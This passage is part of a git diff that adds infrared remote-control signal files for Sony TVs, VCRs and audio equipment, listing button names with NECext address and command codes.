+protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: clearrepeat +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir new file mode 100644 index 000000000..fc76da370 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: Voume- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Muting +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: MegaBass +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: Tuning+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: Tuning- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: Preset+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: MusicMenu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: Preset- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 +# +name: Clock/Timer +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 33 00 00 00 +# +name: Timer(on/off) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir new file mode 100644 index 000000000..5549650f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_1_ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_2_ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: prg+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: prg- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: picmode +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: a/b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir new file mode 100644 index 000000000..955958c93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: PICTURE+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: PICTURE- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: COLOR+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: COLOR- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: BRIGHT+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: BRIGHT- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: HUE+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: HUE- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: SHARP+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: SHARP- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: BAL_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: BAL_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: ANT/AUX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: INPUT1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: INPUT2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: INPUT3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: INPUT4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: INPUT5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: INPUT6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: INPUT7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: INPUT8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 61 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 62 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 63 00 00 00 +# +name: ASC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 +# +name: AUTOPROG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 68 00 00 00 +# +name: CH_AUTO_PGM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6B 00 00 00 +# +name: AV+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: AV- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: CH_ADD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 78 00 00 00 +# +name: CH_DEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir new file mode 100644 index 000000000..63742b0c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir @@ -0,0 +1,476 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: JOG_2_SPEED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: COLOR- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: BRIGHT+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: BRIGHT- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: HUE+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: HUE- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: SHARP+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: JOG_1/5_SPEED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: BAL_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: BAL_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: SEARCH- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: SEARCH+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: ANT/VCR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: JOG- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: JOG+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: JOG_1_SPEED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3B 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3D 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: INPUT1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 40 00 00 00 +# +name: INPUT2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: INPUT5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: INPUT6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 46 00 00 00 +# +name: INPUT8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 47 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 49 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4E 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: DATA_SCREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 60 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 +# +name: TIMER_CLEAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 63 00 00 00 +# +name: ASC +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 64 00 00 00 +# +name: TIMER_ON/OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 65 00 00 00 +# +name: AUTOPROG +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 68 00 00 00 +# +name: CH_AUTO_PGM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 6B 00 00 00 +# +name: AV+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 74 00 00 00 +# +name: AV- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 75 00 00 00 +# +name: CH_ADD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 78 00 00 00 +# +name: CH_DEL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 79 00 00 00 +# +name: HIGH_SPEED_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7D 00 00 00 +# +name: JOG_END +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir new file mode 100644 index 000000000..2ad97aebc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir new file mode 100644 index 000000000..575d039e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir new file mode 100644 index 000000000..0269e2abb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir @@ -0,0 +1,1094 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CHNL_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_-- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CHNL_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: (SCAN)_X2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 16 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1A 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1D 00 00 00 +# +name: REORD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1D 00 00 00 +# +name: RECORD_STANDBY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1E 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 23 00 00 00 +# +name: TRACKING_AUTO/MANUAL +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: AUTO/MANUAL_TRACKING +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: TRACKING_AUTO/MAN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# 